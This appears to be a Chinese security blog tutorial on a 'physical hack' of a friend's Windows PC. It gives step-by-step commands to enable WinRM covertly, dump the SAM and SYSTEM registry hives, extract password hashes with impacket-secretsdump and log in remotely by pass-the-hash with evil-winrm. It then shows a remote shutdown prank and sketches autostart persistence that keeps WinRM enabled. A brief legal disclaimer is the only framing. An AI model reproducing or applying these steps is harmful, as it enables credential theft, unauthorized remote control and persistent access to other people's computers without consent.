物理hack

声明

声明
文章只是方便各位师傅学习知识，以下网站只涉及学习内容，其他的都与本人无关，切莫逾越法律红线，否则后果自负。

✍🏻作者简介：致力于网络安全领域，目前作为一名学习者，很荣幸成为一名分享者，最终目标是成为一名开拓者，很有趣也十分有意义
🤵‍♂️ 个人主页： @One_Blanks
欢迎评论 💬点赞👍🏻 收藏 📂加关注+

- 声明
- 前期准备
- 操作开始
- - 一、来到目标主机前（当然需要电脑开着屏幕）
  - - 1. 使用管理员身份运行PowerShell
    - 2. 开启WinRM 服务（远程控制服务）
    - 3. 用管理员身份打开CMD命令行
    - 4. 获取内网IP与敏感信息文件
  - 二、回到自己的电脑打开kali（如果没有关注公众号自取，内有镜像源）
  - - 1. 将拿到的文件放到kali，并进入到当前目录
    - 2. 先看一下内网IP（我这里是192.168.3.24）
    - 3. 使用impacket-secretsdump工具对注册表进行密码解析
    - 4. 使用evil-winrm工具进行连接
    - 5. 成功连接
- 三、扩展
- 总结

前期准备

数据传输：我们需要一个U盘存储几个文件，或者直接用社交聊天软件发给自己也行

操作环境：另外还需要kali Linux系统，要使用到里面evil-winrm工具、impacket工具

网络环境：需要和被控制的主机处于一个局域网下（就是连同一个WIFI）

公众号中有精心整理的资料工具，需要自取

操作开始

一、来到目标主机前（当然需要电脑开着屏幕）

1. 使用管理员身份运行PowerShell

2. 开启WinRM 服务（远程控制服务）

先在WIFI属性中将公用网络配置为专用网络（否则无法开启服务）

在PowerShell中使用命令开启WinRM服务

enable-psremoting

3. 用管理员身份打开CMD命令行

4. 获取内网IP与敏感信息文件

cd \

获取IP

ipconfig >ip.txt

获取注册表敏感信息

reg save HKLM\SAM sam.save

reg save HKLM\SYSTEM system.save

将这三个文件拿到手就可以偷偷撤走了（趁朋友还没发现）

二、回到自己的电脑打开kali（如果没有关注公众号自取，内有镜像源）

1. 将拿到的文件放到kali，并进入到当前目录

2. 先看一下内网IP（我这里是192.168.3.24）

cat ip.txt

3. 使用impacket-secretsdump工具对注册表进行密码解析

如果没有impacket工具要先安装

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 -m pip install .  
python3 setup.py install

解析敏感文件

impacket-secretsdump -sam sam.save -system system.save LOCAL

直接解析出来了，记录使用第二个哈希密码（中间用冒号 : 隔开了）

4. 使用evil-winrm工具进行连接

安装

sudo apt install evil-winrm

连接

evil-winrm -i 192.168.3.24 -u 28374 -H 064298325933c9178c0588c0fd2f1b47

-i 选项后面是目标IP

-u 选项后面是目标用户

-H 选项后面是目标用户的哈希密码

5. 成功连接

十秒关机命令： shutdown -s -t 10

这个时候就可以玩了，你可以和你的朋友说：我数十个数你电脑就会关机你信不信。

十秒后当然也是成功可以装到。

三、扩展

我们经过这一系列操作也是成功拿到它的电脑的权限，但是如果开启的服务被发现了然后被关闭了怎么办，那样就直接失去了对这台主机的控制，所以我们可以去写一个bat批命令处理脚本，加入一系列的reg注册表命令，添加到主机自启动中去，并写一个判断逻辑，查询WinRM服务启动状态，如果关闭，那就修改注册表给它开启，这样就可以持续获得这台主机的权限。

当然了，这只是一个思路，实现就由你们去做吧